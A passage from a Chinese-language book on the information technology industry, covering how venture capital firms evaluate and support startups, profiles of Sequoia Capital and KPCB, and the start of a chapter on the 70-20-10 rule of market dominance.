或者红杉风投投资的，他们会积极认购该公司上市发行（IPO）的股票。\n比较复杂的是中间的情况。让我们来看两个我遇到的真实的例子，读者就会对风投的决策过程和股价方法有了解。\n一位世界名牌大学的学生发明了一种手机上的软件，非常有用，他在网上让人免费下载试用，然后在试用期满后向愿意继续使用的用户收一些钱，这样几年他也挣了十来万美元。他想成立一家公司把这个软件做大做好。他找到一家风投，正巧这个风投基金的总合伙人是我的朋友，就拉我一起和这个创业者面谈。我们仔细听了他的介绍并且看了他的软件。投资人承认他是个有能力的年轻人，软件也是个好软件，但是不投资。投资人给他算了一笔账。这种手机上的软件要想推广必须在手机出厂时预装，一般来讲，虽然这种软件的零售价可以高达十美元以上，但是手机厂商出的预装费不会超过一毛钱，假定为八美分。通常一个领域在稳定的竞争期会有三个竞争者，不妨假设这个创业者能跻身于三强并排到老二。在软件业中，一般前三名的市场份额是 60%、20% 和 10%（剩下 10% 给其它的竞争者），那么在很理想的情况下，这位创业者可以拿到全世界 20% 的手机市场的预装权。我们不妨假设全世界手机一年销售十亿部，他可以拿到两亿部的预装权，即一年两千万美元的营业额。读者可能会觉得两千万美元是个不小的数目，但实际上在风投眼里却没有多少，在美国一个工程师一年的开销就要二十万美元。世界上有四五个国家近十个主要手机生产厂家，要想拿下这 20% 的市场需要一家一家谈。手机的软件不像个人计算机的软件，有了漏洞（Bug）在网上发布一个补丁自动就补上了，手机软件出了问题有时要将手机回收，因此手机厂商测试时间很长，拿下一个手机合同一般要 18 个月的时间，因此这款软件的销售成本是很高的。我们不妨假设这个小公司的纯利润率有 15%（已经不低了），那么它一年的利润是二百四十万美元，虽然读者觉得一年挣几百万美元已经不错了，但是因为这个生意不可能成长很快（取决于手机市场的成长），在股市上市盈率（ P/E 值）平均也就是 20 倍，那么这个公司的市值最多最多不超过五千万美元。一个价值不超过一亿美元的公司是无法在美国上市的，因此这个公司还没有创办，它无法上市的命运就已经注定了。这位同学失败的原因不在技术上，不在他个人的能力，而是题目没有选好。风投喜欢的是所谓的十亿美元的生意（Billion Dollar Business）。最后，我做风投的朋友建议这位同学找找天使投资人，因为这样一件事做好了还是有利可图的，也许会有天使投资人喜欢投资。\n风投由于是高风险的，自然要追求高回报。每当创业者向我介绍他们的发明时，我问的第一个问题就是：“你怎么保证把一块钱变成五十块”。虽然风险投资最终的回报远没有几十倍，但是，投资者每一次投资都会把回报率定在几十倍以上（上面那个手机软件显然达不到几十倍的回报）。因此我这第一句话通常就难倒了一多半创业者。大部分人听到这句话的反应是：“要这么高的回报？是否太贪了？两年有个三五倍不就不错了吗？”一般传统的投资几年有个三五倍的回报确实已经很不错了，但是由于风投失败的可能性太大，它必须把回报率定得非常高才能收回整体投资。据我一位做风投的朋友讲，红杉风投当年投资 Google 的那轮风投基金高达十几亿美元，只有 Google 一家投资成功了，如果 Google 的回报率在一百以下，整轮基金仍是亏损的。从另一方面看，对风投来讲几十倍的投资回报是完全可及的。五十年代早期风投 AR&DC 投资 DEC，回报是五千倍（$70,000 到 $355,000,000），KPCB 和红杉风投投资 Google 是五百倍（一千万到五十亿美元），而 Google 的第一个天使投资人安迪.贝克托森的回报超过万倍（十万美元到今天的十五亿美元）。\n要做到高回报必须首先选对题目。一个好的创业题目最要紧的是具有新颖性，通常是别人没想到的，而不是别人已经做成功的。很多创业者喜欢模仿，虽然这样也有成功的可能，却不可能为风投挣到几十上百倍的投资回报。比如中国九十年代出现了很多做 DVD 机的厂家，早期的几家挣到了钱，后面的几百家都没挣到什么钱；其次，创业的题目不能和主流公司的主要业务撞车。九十年代时，风投公司对软件公司的创业者问的第一个问题是“你要做的事情，微软有没有可能做？”这是一个无法回答的问题。如果回答“可能”，那么风投基金的总合伙人接下来就会说“既然微软会做，你们就不必做了。”如果回答是“不会”，那么总合伙人又会说“既然微软不做，看来没必要做，你们做它干什么？”二零零零年后，风投公司还是对软件和互联网的创业者问这个问题，只是微软变成了 Google。这个例子说明，如果创业的项目和微软和 Google 这样的公司的业务有可能撞车，那么失败的可能性极大。\n除此之外，一个好的题目还必须具备以下几个条件：1. 这个项目一旦做成，要有现成的市场，而且容易横向扩展（Leverage）。\n这里面要说几句“现成市场”的重要性，因为一个新兴公司不可能等好几年时间，等市场培养成熟才开始销售。事实上有很多失败的例子是技术、产品都很好，但市场条件不成熟。比如当年甲骨文搞的网络 PC，从创意到产品都不错，但是当时既没有普及高速上网，更没有强大的数据中心，因此失败了。直到十年后的今天，Google 提出“云计算”的概念并建立了全球相联的超级数据中心，拉里·埃里森的这个梦想才可能成为现实。但是，没有一个小公司能等得起十年。\n横向扩展是指产品一旦做出了，很容易低成本的复制并扩展到相关领域。微软的技术就很好横向扩展，一个软件做成了想复制多少份就复制多少份。太阳能光电转换的硅片就无法横向扩展，因为它要用到制造半导体芯片的设备，成本很高，而且不可能无限制扩大规模，因为全世界半导体制造的剩余能力有限。\n2. 今后的商业发展在较长时间内会以几何级数增长。\n我们前面介绍的手机软件的项目就不具备这个特点，因为它的增长被手机的增长限制死了。\n3. 必须具有革命性。\n我通常把科技进步和新的商业模式分成进化（Evolution）和革命（Revolution）两种，虽然它们的英文单词只差一个字母，意义可差远了。创业必须要有革命性的技术或者革命性的商业模式。\n现在，让我们看一个好的例子——PayPal，它具备上述好题目所必需的条件。首先，它的市场非常大。世界上每年的商业交易额在数十万亿美元，其中现金占了将近一半，信用卡占四分之一；其次，它的市场条件成熟了。随着网上交易的发展，现金和支票交易显然不现实，只能使用信用卡，其交易方式如下：图13-6信用卡进行网上交易图而信用卡在网上使用经常发生被盗事件（比如商家是钓鱼的奸商，一旦获得买家信用卡信息，就会滥用其信用卡），安全性有问题。因此，需要一种方便的网上支付方式。\nPayPal 的想法很好，由它来统一管理所有人的信用卡或者银行帐号，商家不能直接得到买家的帐号信息。交易时，商家将交易的内容告知 PayPal，并通过 PayPal 向买家要钱，买家确认后，授权 PayPal 将货款交给商家，商家无法得知买家信用卡和银行账户信息。而且，PayPal 要求商家和买家提供并确认真实的地址和身份，尽量避免欺诈行为。对于五百美元以下的交易，PayPal 为付款方提供保险，如果付款方被骗，PayPal 将偿还付款方损失，由它去追款。PayPal 的商业模型如下： 图13-7 PayPal的商业模型\n这种付款方式要安全得多，其好处是易见的，当网上购物的发展起来后，其推广的条件便具备了，不需要培养市场。而每年十几万亿美元的交易，对 PayPal 来说几乎是无穷大的发展空间，尽管 PayPal 现在每年以 30-40% 的高速度发展，到 2007 年仍然只有 40 亿美元左右的交易额，发展空间很大。所以 PayPal 这个题目是一个可以在很长时间内高速发展的生意。PayPal 在技术上虽然没有什么独到之处，但是它的商业模式却是革命性的。\n风投公司一旦确定什么生意、什么公司可以投资，接下来的问题就是如何估价一家投资对象了。和投资股市不同，风险投资的对象大多没有利润甚至没有营业额可言，其估价不能按照传统的市盈率（P/E值）或者折扣现金流（Discounted Cash Flow）来衡量，关键是看今后几年该公司发展的前景以及看到目前为止该公司发展到哪一步了。和投资股市另一个不同之处，新创公司因为没有什么业绩可以衡量，创始人和早期员工的素质就变得很关键。一般来讲，一些 High Profile 的创始人，比如思科公司的资深雇员和斯坦福的教授，创办的公司容易获得较高的股价。\n风险投资公司一旦将资金投入一个新创的公司后，它的投资任务还远没有完成，从某种角度上讲，它才刚刚开始。\n13.5 风投的角色\n对风险投资家来讲，最理想的情况是能当一个甩手掌柜：把钱投到一家公司，不闻不问，几年后几十倍的利润拿回来。这种情况对于天使投资确实发生过，比如有一个从洛杉矶募集资金的天使投资团将钱投入了早期的 Google，等 Google 上市时，该投资团的合伙人，包括 NBA 明星奥尼尔、加州州长施瓦辛格和一些好莱坞明星，稀里糊涂地就挣到了一大笔钱。对于比较大的风险投资，反而很少发生。大多数办公司的人的经验总有局限性，尤其是 IT 行业的创始人大多是技术出身，没有商业经验和“门路”（在美国，门路和在中国一样重要）。风投公司就必须帮助那些创始人把自己投资的公司办好。毕竟，他们已经在一条船上了。\n风投公司介入一个新兴公司后的第一个角色就是做顾问。这个顾问不仅需要在大方向比如商业上给予建议，而且还要在很多小的方面帮助创始人少走弯路。我在前一章“硅谷的另一面”中提到，创办一个小公司会遇到形形色色的问题，而创始人常常缺乏处理这些问题的经验，这时风投公司（坐在被投公司董事会席上的那个人）就必须帮忙了。我的一位朋友原来是苹果公司副总裁、乔布斯的朋友，现在是活跃的投资人，他给我讲了下面一个例子。\n留心各大公司图标（Logo）的读者也许会注意到，几乎所有大公司的图标和名称字体都是一种简单的颜色设计，尤其是在二十年前。至今很少有公司像 Google 那样使用明暗分明的彩色图标。我的这位朋友告诉我，这主要有两个原因：首先，彩色印刷比单色（和套色，比如普通黑字套蓝色）印刷要贵得多，公司初办，必须本着能省一点是一点的原则，如果一个公司所有的文件和名片都采用彩色印刷，办公成本将增加；第二，也是更重要的，所有的传真机和绝大部分复印件都是黑白的，印有彩色图标的公司传真不仅不可能像原来彩色的那样好看，而且有些颜色可能还印不清楚。这样不仅让商业伙伴感到糊涂，还不容易给客户留下深刻印象。他告诉我，很多年轻的创始人喜欢为自己公司设计漂亮的彩色图标，实际宣传效果并不好。比如下面一个漂亮的彩色图标： 图13-8某公司彩色图标\n当我在不同复印件上拷贝时，得到两个颇为不同的黑白复印件。不仅原来精心设计的丰富色彩在传真文件中看不到，而且每次黑白复印件深浅不同，反而会让商业伙伴和客户糊涂。\n 图13-9彩色图标黑白效果1\n 图13-10彩色图标黑白效果2\n下面是 IBM 和 ATT 公司早期的图标，它们避免了复印和传真可能带来的迷惑。\n 图13-11 IBM图标\n 图13-12 ATT图标\n当然，上面只是一个小的例子。风投介入一个新兴公司后，可以帮助创业者少走很多弯路，总的来讲好的风投是创业者的伙伴。\n当然，风投不可能替公司管理日常事务。这就有必要替公司找一个职业经理人来做 CEO（当然，如果风投公司觉得某个创始人有希望成为 CEO，一般会同意创始人兼 CEO 的职位）。每个风投基金投资的公司都有十几到几十家，要找到几十个 CEO 也并非容易的事。因此，有影响的老牌风投公司实际上手里总攥着一把 CEO 候选人。这些人要么是有经验的职业经理人，要么是该风投公司以前投资过的公司的创始人和执行官。风险投资家给有能力的创始人投资的一个重要原因就是锁定和他的长期关系。如果后者创业成功固然好，万一失败了，风投资本家在合适的时候会把他派到自己投资的公司来替自己掌管该公司日常事务。一个风投公司要想成功，光有钱，有眼光还很不够，还要储备许多能代表自己出去管理公司的人才。这也是著名风险投资公司比小投资公司容易成功的原因之一，前者手中攥着更多更好的管理人才。\n风投公司首先会帮助被投资的公司开展业务。自己开公司的人都知道，一个默默无闻的小公司向大客户推销产品时，可能摸不对门路。这时，“联系”广泛的风投公司会帮自己投资的小公司牵线搭桥。越是大的风险投资公司越容易做到这一点。风投公司还会为小公司请来非常成功的销售人才，这些人靠无名小公司创始人的面子是请不来的。风投广泛的关系网对小公司更大的帮助是，它们还会帮助小公司找到买主（下家）。这对于那些不可能上市的公司尤其重要。比如，KPCB 早期成功地投资太阳公司后，就一直在太阳公司的董事会里，利用这个方便之处，KPCB 把它自己后来投的很多小公司卖给了太阳，这些小公司对太阳是否有用就不得而知了，但是，投资者的钱是收回来了，创业者的努力也得到了客观的回报。在这一类未上市公司收购案中，最著名的当属 Google 收购 YouTube 一事。两家公司都是由红杉风投投资，著名投资人莫利兹同时担任两家公司董事。YouTube 能成功地卖给 Google，红杉风投作用不小。风投行业经过几十年的发展，就形成了一种马太效应。越是成功的风投公司，投资成功上市的越多，它们以后投资的公司相对越容易上市、再不济也容易被收购。因此，大多数想去小公司发财的人，选择公司很重要的一个原则就是看它幕后的风投公司的知名度。Google 在很早的时候就已经是求职者眼中的热门公司了，固然有它许多成功之处和吸引人的办法，以及创始人的魅力，但是还有非常重要的一条就是它是第一家KPCB和红杉风投在同一轮一起投资的公司，在此以前，这两家风投从不同时投一家公司。\n风投是新兴公司的朋友和帮手，因为它们和创始人的基本利益是一致的。但是通常也有利益冲突的时候。任何一个公司的创办都不是一帆风顺的，当一个被投公司可能前景不妙时，如果投资者对它是控股的，可能会选择马上关闭该公司或者贱卖掉，以免血本无归。这样，创始人就白忙了一场，因此创始人一定会倾向于继续挺下去，这时就看谁控制的股权，更准确的讲是投票权（Voting Power）多了。当一家公司开始盈利有了起色时，风投会倾向于马上上市收回投资，而一些创始人则希望将公司做得更大后再上市。投资人和创始人闹得不欢而散的例子也时常发生，投资人甚至会威胁赶走创始人。\n创业者和投资者的关系对于成功的创业至关重要。首先，创始人总是在前台扮演着主角，风投在幕后是辅助者。如果投资者站到了前台，要么说明创始人太无能，要么说明投资人手伸的太长，不管是哪一种情况，公司都办不好；其次，创业者和投资者的关系是长期的，甚至是一辈子的。对投资者来讲，投资的另一个目的是发现并招揽人才。对投资人来讲，创业者能一次成功当然是最好的，但是，非常有能力能干事的创始人也会因为时运不济而失败，这时投资者如果认定创始人是个人才，将来还会为他的其它项目投资，或者将他派到新的公司去掌舵。因此，对创业者来讲，虽然风险投资的钱不需要偿还，但是，拿了投资者的钱就必须使出吃奶的力气尽力将公司做好，以获得投资者的青睐。一些短视的创业者把风投公司当作一次性免费提款机，只拿钱而不承担应尽的义务，实际上便永远地断了自己的后路。和很多行业不同，不同风险公司的投资家们一般会经常通消息，一个人一旦在风投圈子里失去了信用，基本上一辈子就失去了获得风投资金再创业的可能。\n13.6 著名的风投公司\n就像华尔街已经等同于美国金融业一样，在创业者眼里“沙丘路”（Sand Hill Road）便是风险投资公司的代名词。沙丘路位于硅谷北部的门罗公园市（Menlo Park），斯坦福大学向北一个高速路的出口处。它只有两三公里长，却有十几家大型风险投资公司。在纳斯达克上市的科技公司至少有一半是由这条街上的风险投资公司投资的。其中最著名的包括红杉资本（Sequoia Capital，在中国称作红杉风投）、KPCB（Kleiner，Perkins，Caufield & Byers）、NEA（New Enterprise Associates）、Mayfield 等等。NEA 虽然诞生于美国“古城”巴尔的摩，但经营活动主要在硅谷，它投资了五百家左右的公司，其中三分之一上市，三分之一被收购，投资准确性远远高于同行。它同时是中国的北极光创投的后备公司（backing company）。Mayfield 是最早的风险投资公司之一，它的传奇之处在于成功投资了世界上最大的两家生物公司基因科技（Genentech）公司和 Amgen 公司（这两家公司占全世界生物公司总市值的一半左右）。除此之外，它还成功投资了康柏、3COM、SGI 和 SanDisk 等科技公司。而所有风投公司中，最值得大书特书的便是红杉风投和 KPCB 了。\n13.6 著名的风投公司\n就像华尔街已经等同于美国金融业一样，在创业者眼里“沙丘路”（Sand Hill Road）便是风险投资公司的代名词。沙丘路位于硅谷北部的门罗公园市（Menlo Park），斯坦福大学向北一个高速路的出口处。它只有两三公里长，却有十几家大型风险投资公司。在纳斯达克上市的科技公司至少有一半是由这条街上的风险投资公司投资的。其中最著名的包括红杉资本（Sequoia Capital，在中国称作红杉风投）、KPCB（Kleiner，Perkins，Caufield & Byers）、NEA（New Enterprise Associates）、Mayfield 等等。NEA 虽然诞生于美国“古城”巴尔的摩，但经营活动主要在硅谷，它投资了五百家左右的公司，其中三分之一上市，三分之一被收购，投资准确性远远高于同行。它同时是中国的北极光创投的后备公司（backing company）。Mayfield 是最早的风险投资公司之一，它的传奇之处在于成功投资了世界上最大的两家生物公司基因科技（Genentech）公司和 Amgen 公司（这两家公司占全世界生物公司总市值的一半左右）。除此之外，它还成功投资了康柏、3COM、SGI 和 SanDisk 等科技公司。而所有风投公司中，最值得大书特书的便是红杉风投和 KPCB 了。\n13.6.1 红杉风投\n 图13-13沙丘路\nSequoia 是加州的一种红杉树，它是地球上最大的（可能也是最长寿的）生物。这种红杉树可以高达一百米，直径八米，寿命长达两千两百年。1972 年，投资家唐纳德.凡伦汀（Don Valentine）在硅谷创立了一家风险投资公司，以加州特有的红杉树命名，即 Sequoia Capital。该公司进入中国后，取名红杉风投。\n红杉风投是迄今为止最大、最成功的风险投资公司。它投资成功的公司占整个纳斯达克上市公司市值的十分之一以上，包括苹果公司、Google 公司、思科公司、甲骨文公司、Yahoo 公司、网景公司和 YouTube 等 IT 巨头和知名公司。它在美国、中国、印度和以色列有大约五十名合伙人，包括公司的创始人凡伦汀和因为成功投资 Google 而被称为风投之王的麦克.莫利兹（Michael Moritz）。\n红杉风投的投资对象覆盖各个发展阶段的未上市公司，从最早期到马上就要上市的公司。红杉风投内部将这些公司分成三类：·种子孵化阶段（Seed Stage）。这种公司通常只有几个创始人和一些发明，要做的东西还没有做出来，有时公司还没有成立，处于天使投资人投资的阶段。红杉风投投资思科时，思科就处于这个阶段，产品还没搞出来；·早期阶段（Early Stage）。这种公司通常已经证明了自己的概念和技术，已经做出了产品，但是在商业上还没有成功，当初它投资 Google 时，Google 就处于这个阶段。当时 Google.com 已经有不少流量了，但是还没有挣钱；·发展阶段（Growth Stage）。这时公司已经有了营业额，甚至有了利润，但是，为了发展，还需要更多的资金。这个阶段的投资属于锦上添花，而非雪中送炭。\n红杉风投在每个阶段的投资额差一个数量级，分别为十到一百万、一百万到一千万和一千万到五千万。\n相比其它的风投，红杉风投更喜欢投快速发展的公司（而不是快速盈利的），即使它的风险较大。苹果、Google、Yahoo 等公司都具备这个特点。那么如何判定一个公司是否有发展潜力呢？根据我对红杉风投的了解，它大致有两个标准：第一、被投公司的技术必须有跳变（用红杉风投自己的话讲叫做 Sudden Change），就是我常说的质变或者革命。当然，如何判断一个技术是真的革命性进步还只是一般的革新，需要有专业人士帮助把关。由于红杉风投名气大，联系广，很容易找到很好的专家；第二、被投公司最好处在一个别人没有尝试过的行业，即是第一个吃螃蟹的人。比如在苹果以前，微机行业是一片空白，在 Yahoo 以前，互联网还没有门户网站。这样的投资方式风险很大，因为以前无人能证明新的领域有商业潜力，当然，回报也高。这种投资要求总合伙人的眼光要很准。相对来讲，红杉风投的合伙人经历的事情较多，眼光是不错的。\n对于想找投资的新创业的公司，红杉风投有一些基本要求：1.公司的业务要能几句话就讲得清楚。红杉风投的投资人会给你一张名片，看你能不能在名牌背面的一点点地方写清楚。显然，一个连创始人自己也说不清楚的业务将来很难向别人推销。\n2.就像我前面讲的那样，如果该公司的生意不是十亿美元的生意，就不用上门了。\n3.公司的项目（发明、产品）带给客户的好处必须一目了然。\n4.要有绝活，这就不用多说了。\n5.公司的业务是花小钱就能作成大生意的。比如说当初投资思科，是因为它不需要雇几个人就能搞定路由器的设计。让红杉风投投资一个钢铁厂，它是绝对不干的。\n对于创始人，红杉风投也有一些基本要求：1.思路开阔，脑瓜灵活，能证明自己比对手强。\n2.公司和创始人的基因要好。当然这里不是指生物基因。红杉风投认为，一个公司的基因在成立的三个月中形成，优秀创始人才能吸引优秀的团队，优秀的团队才能奠定好的公司的基础。\n3.动作快，因为只有这样才有可能打败现有的大公司。刚刚创办的小公司和跨国公司竞争无异于婴儿和巨人交战，要想赢必须快速灵活。\n有志创业的读者可以记住红杉风投的联系方式：美国3000 Sand Hill Road 4-180，Menlo Park, CA 94025 电话: 650.854.3927，传真: 650.854.2977中国北京朝阳区霄云路 36 号国航大厦 2408 室，邮编 100027中国上海南京西路 1366，恒隆广场二座 2808 室，邮编 200040找红杉风投前，创业者要准备好一份材料，包括：1.公司目的（一句话讲清楚）。\n2.要解决的问题和解决办法，尤其要说清楚该方法对用户有什么好处。\n3.要分析为什么现在创业，即证明市场已经成熟。\n4.市场规模，再强调一遍，没有十亿美元的市场不要找红杉。\n5.对手分析，必须知己知彼。\n6.产品及开发计划。\n7.商业模式，其重要性就不多讲了。\n8.创始人及团队介绍，如果创始人背景不够强，可以拉上一些名人做董事。\n9.最后，也是最重要的—想要多少钱，为什么，怎么花。\n13.6.2 KPCB\n在风投行业，能和红杉风投分庭对抗的只有同是在 1972 年成立的 KPCB 了。KPCB 是它的四个创始人 Kleiner、 Perkins、 Caufield 和 Byers 名字的首字母。近年来，它甚至有超过红杉风投之势。\nKPCB 成功投资了太阳公司、美国在线（AOL）、康柏电脑、基因科技、Google、Ebay、亚马逊（Amazon）和网景等著名公司。它投资的科技公司占 Nasdaq 前一百家的十分之一。KPCB 投资效率之高让人膛目结舌。它最成功的投资包括：·1999 年以每股大约 0.5 美元的价钱投资 Google 一千二百五十万美元，这笔投资的回报今天近千倍；·1994 年，投资网景四百万美元获得其 25% 的股权，回报 250 倍（以网景公司卖给美国在线的价钱计算）；·1997 年投资 Cerent 八百万美元，仅两年后当思科收购 Cerent 后这笔投资获利二十亿美元，也是 250 倍。这可能也是它收回大规模投资最快的一次；·1996 年投资亚马逊八百万美元，获得后者 12% 的股权，这笔投资的回报也有两、三百倍。\n它早期成功的投资，包括对太阳公司和康柏电脑等公司的投资回报率不低于上述案例，只是美国证监会没有提供在线的记录，无法计算那些投资准确的回报。从这些成功投资的案例可以看出，风投公司追求五十倍的回报完全是可以做到的。\nKPCB 另一个特点就是合伙人知名度极高、联系极广，除了活跃的投资人约翰多尔和布鲁克·贝叶斯（KPCB 中的 B），还包括美国前副总统戈尔、前国务卿鲍威尔和太阳公司的共同创始人 Bill Joy 等人。KPCB 利用他们在政府和工业界的影响，培养新的产业。比如鉴于戈尔同时担任了苹果公司的董事，KPCB 专门设立了一项培养苹果 iPhone 软件开发公司的一亿美元的基金。考虑到今后全球对绿色能源的需求，KPCB 又支持戈尔担任主席的投资绿色能源的基金，并且专门集资四亿美元建立了专门的基金。KPCB 通过这种方式，在美国政府制定能源政策时施加影响。KPCB 的这种做法是一般风险投资公司学不到的。\n除了绿色能源外，KPCB 主要的投资集中在IT和生命科学领域。在 IT 领域，KPCB 将重点放在下面六个方向： 通信\n消费者产品（比如网络社区）企业级产品（比如企业数据管理） 信息安全\n半导体\n无线通信\n想创业的读者可以从中找找好的创业题目。\n作为世界上最大、最成功的风险投资公司。KPCB 依然保守着“礼贤下士”的好传统。KPCB 的合伙人，包括多尔本人，经常去斯坦福大学的“投资角”参加研讨会。多尔本人对年轻的创业者保证，他一定会读这些创业者写给他的创业计划书和 Email，虽然他可能没有时间一一回复。KPCB对创业者的要求和红杉风投差不多，要找 KPCB 的准备工作也和找红杉风投相似，我们就不再赘述了。中国是 KPCB 在美国本土外唯一有办公室的国家，它在北京和上海设有分部，联系地址是： 北京 100738\n北京东长安街一号东方广场 C 座 503-504 房间 上海 200031\n淮海中路 1010 嘉华中心 2505最后补充一点，除了红杉风投和 KPCB，日本的软银集团（Soft Bank）是亚洲最著名的风投公司，它成功地投资了雅虎和阿里巴巴，并且控股日本雅虎。IDG 虽然在美国没有太大的名气，但是它最早进入中国市场，在中国反而比红杉风投和 KPCB 成功。\n结束语\n虽然风险投资的目的是追求高利润，但这些高利润是它们应得的报酬。我对风险投资家的敬意远远高于对华尔街，因为风险投资对社会有很大的正面影响，而华尔街经常会起负面作用（最近美国的金融危机和油价暴涨就是华尔街造成的）。风险投资通常是为创业者雪中送炭，不管创业成功与否，它们都在促进技术进步和产业结构的更新。而华尔街做的事，常常是将一个口袋里的钱放到另一个口袋里，并从中攫取巨大的财富。\n风险投资者是创业者幕后的帮手，但是他们不能代替创业者到前台去表演。创业的关键还在创业者自己。\n第14章 信息产业的规律性\n我们在前面介绍了信息科技产业的生态链。这一章是它的姊妹篇，我们将介绍信息产业的其它规律。其实很多观点我在前面的章节中已经提到过了，这里再系统地介绍它们，帮助我们更好地了解整个信息科技产业的变迁的内在原因。\n14.1 70-20-10律\n我们在介绍风险投资的那一章中，介绍了一个科技公司如何从无到有的诞生过程。我们在这一章介绍一个科技公司成熟后的变迁过程。\n原苹果公司 CEO 斯库利（就是那位把乔布斯从苹果赶走的 CEO ）在失败地离开苹果后，写了一本书《奥德赛：从百事可乐到苹果》，总结了他在苹果的经验教训。在书中，他不经意地发表了许多关于商业竞争的观点。虽然公司的竞争和自然界的竞争大不相同，斯库利却用自然界的竞争来比喻商业的竞争，使得不熟悉商业的人更容易理解它。虽然我不太同意他将社会现象和自然现象等同起来，但是非常赞同他的一个观点，我就把它进一步扩展成 70-20-10 律。\n让我们顺着斯库利的思路，看看信息科技领域和自然界的一些共性：当某个领域发展成熟后（而不是群雄争霸时期），一般在全球容不下三个以上的主要竞争者。这个行业一定有一个老大，斯库利把它比喻成一个猴王，它是这个行业的主导者。毫无疑问，它虽然想顺顺当当地统领好整个行业，就像猴王想让猴子们永远臣服一样，但是，它一定会遇到一两个主要的挑战者，也就是老二（也许还有一个老三）。剩下来的是一大群小商家，就像一大群猴子。老大是这个领域的主导者，不仅占据着超过一半，通常是百分之六七十的市场，并且制定了这个领域的游戏规则。老二有自己稳定的百分之二三十的市场份额，有时也会挑战老大并给老大一些颜色看看，但是总的来讲是受老大欺负的时间多。剩下的一群小猴子数量虽然多，但是却只能占到百分之十甚至更少的市场，它们基本上唯老大马首是瞻。老大总是密切注视着老二，并时不时地打压它，防止它做大。老大和老二通常都不会太在意剩下的小企业，这样就让这一群小的企业能有挣一些小钱的地方。这里面的百分比数字 70、20 和 10 是我加的，因为信息产业大公司之间的市场份额大抵如此。\n在我们熟知的微机领域，微软无疑是老大，苹果是老二（当然，现在的苹果和斯库利时代不同了，它已经不完全是计算机公司了）。微软控制着微机的操作系统，于是几乎所有的软件硬件开发商都必须跟在微软的后面开发应用产品，因此微软的地位就相当于猴王。苹果有时能够挑战一下微软，把自己的市场占有率提高一两个百分点，但是，总的来讲它在微机领域一直受微软的打压。剩下来的公司，不仅很难挑战微软的霸主地位，和苹果也差得很远，因此要么替微软赚吆喝，比如各种小的兼容机公司；要么就避开微软闷头挣自己的小钱，比如应用软件开发商 Adobe、Intuit 和赛门铁克等，日子也过得下去。\n在微机处理器领域英特尔是老大，以前的老二摩托罗拉已经被英特尔逐出了微机处理器行业，现在由 AMD 坐第二把交椅。虽然 AMD 偶尔能从英特尔手里抢一些市场份额，但是基本上是在英特尔的阴影下发展，它的产品必须和英特尔兼容。这是华尔街对 AMD 总体并不看好的主要原因。由于在这个领域一个公司必须有足够的销量才能立住脚，因此现在连第三家做处理器的公司都没有了，一群小的半导体公司都在围着英特尔转，做微机里各种各样的其它芯片。在这个领域，英特尔是游戏规则的制定者，任何一个公司都无法抛开英特尔自己另搞一套，否则便是自寻灭亡。\n在其它领域，情况相似。在网络路由器领域思科是老大、Juniper 是老二；在互联网领域 Google 是老大、雅虎是老二。在 IT 服务领域，IBM 是老大，惠普和太阳是老二、老三。虽然每个领域的领头羊占得市场份额不尽相同，但是通常都是比其他所有公司的总和还多。\n当一个市场还处在群雄争霸的时期，一个商业模式适合这个市场，并且在技术上、管理上和市场上综合占优势的公司，无疑最有可能成为竞争的最终胜利者，并成为行业的领头羊。当市场上一旦诞生了一个新的猴王，它就成为了这个市场规则的制定者和解释者，这时，市场就不可逆转地向着有利于这个主导者的方向发展。其它公司即使在技术上、管理上或者其它方面有一点优势，都不足以抵消主导者在规则制定和解释方面的优势。靠着制定和解释规则，在很短的时间里这个王者就占了这个领域在全世界的大部分市场。\n让我们通过微软和苹果的例子，来了解一下制定规则的作用。当微软占领了 95% 的微机操作系统市场份额后，软件开发商专门开发苹果软件意味着什么？意味着设计和生产一种只能在 5% 的公路上跑的汽车。几天前我和圣地亚哥加州大学一位研究计算机安全的教授讨论信息安全的问题。我们在谈到以往的基于 Unix 内核的操作系统，比如苹果的OS，通常比微软的安全时，他向我介绍说，新的微软操作系统 Vista 现在已经比苹果的操作系统和 Linux 安全得多（我多少有点惊讶）。但是，微软的 Vista 仍然比苹果的操作系统容易受到攻击，因为后者的数量（或者说市场占有率）太小，以至于制造计算机病毒和间谍软件（ Spyware ）的人“懒得”去攻击苹果的计算机。这对苹果公司和苹果的用户是一条悲哀的好消息，它说明微软在操作系统上的统治地位多么强，就连造毒者都必须造微软的毒。事实上，苹果在早期一直标榜自己的产品在技术上和性能上比微软的强，现在连它自己都不觉得这是卖点了，另辟蹊径地追求酷了。\n当整个行业都开始遵守微软制定的规则时，全社会就出现了各种各样靠微软吃饭的人。有编写、翻译、出版和销售 Windows 编程书的人（只要到各个书店科技图书的柜台前看一看有多少这类的书就有体会了），还有从事各种微软软件培训或者微软证书考试复习的“专家”（只要在媒体上看看有多少这种广告就行了）。大家还能举出很多类似的例子。改变微机行业的规则意味着这些从业人员的失业，他们就会首先跳出来反对新的规则并且力挺微软。这样，微软在微机领域的王位就变得几乎无法撼动了，至少不是在技术上能撼动的。同样的道理，Google 也养活了无数做网站优化的人——这些人把各种网站优化成最适合 Google 的排名。如果一夜之间出来一个新的搜索引擎要挑战 Google，不论它是否比 Google 好，这些人马上会出来反对。即使像思科公司那种不直接和终端用户打交道的公司，对社会的影响也远不止是卖一些网络路由器那么简单。当一个思科的证书成为求职的敲门砖时，整个行业的从业人员不可避免地必须掌握其相关技术，你可以想象这时思科的地位便稳如泰山。甲骨文的情况也和思科类似。\n在通信领域，规则比技术更有利于一个公司占领市场。随着奥运会的召开和苹果第二代电话 iPhone 的推出，第三代手机又成了一个热门的话题。主导第三代手机技术的公司不是热门的 iPhone 制造商苹果公司，也不是今天最大的手机厂商诺基亚，而是曝光率并不高的高通公司（ QualComm ）。我们可以毫不夸张地讲，高通公司是第三代手机和无线通信的规则制定者。虽然第三代无线通信的技术CDMA早在越战时就为美军使用，并且全世界掌握该技术的人非常多，但是将CDMA用于手机通信的最早解决方案（ CDMA2000 ）是由高通公司提出的。CDMA2000 很快便成为了国际标准。高通公司通过专利保护几乎堵死了任何绕过其专利的解决方案，进而达到了主导3G手机市场的目的。高通公司做事一向很霸道，专利费极其昂贵，它向每一个手机收四到八美元，超过一部手机所有芯片能带来的利润。这就逼着日本、欧洲和中国不得不搞出了自己的 CDMA 标准 WCDMA （日本和欧洲）和 TD-SCDMA （中国）（后来美国又加进了一个 WiMax ，这样全球共四个标准，但是现在大部分人认为 WiMax 属于第四代 4G 的标准）。这些后来的标准在技术上超过了高通公司的 CDMA2000 解决方案。但是，整个 3G 市场仍然被高通抢了先机。一方面，高通的 CDMA2000 以两倍于 WCDMA 的速度发展，另一方面高通公司在 WCDMA 中抢占了专利总数的大约 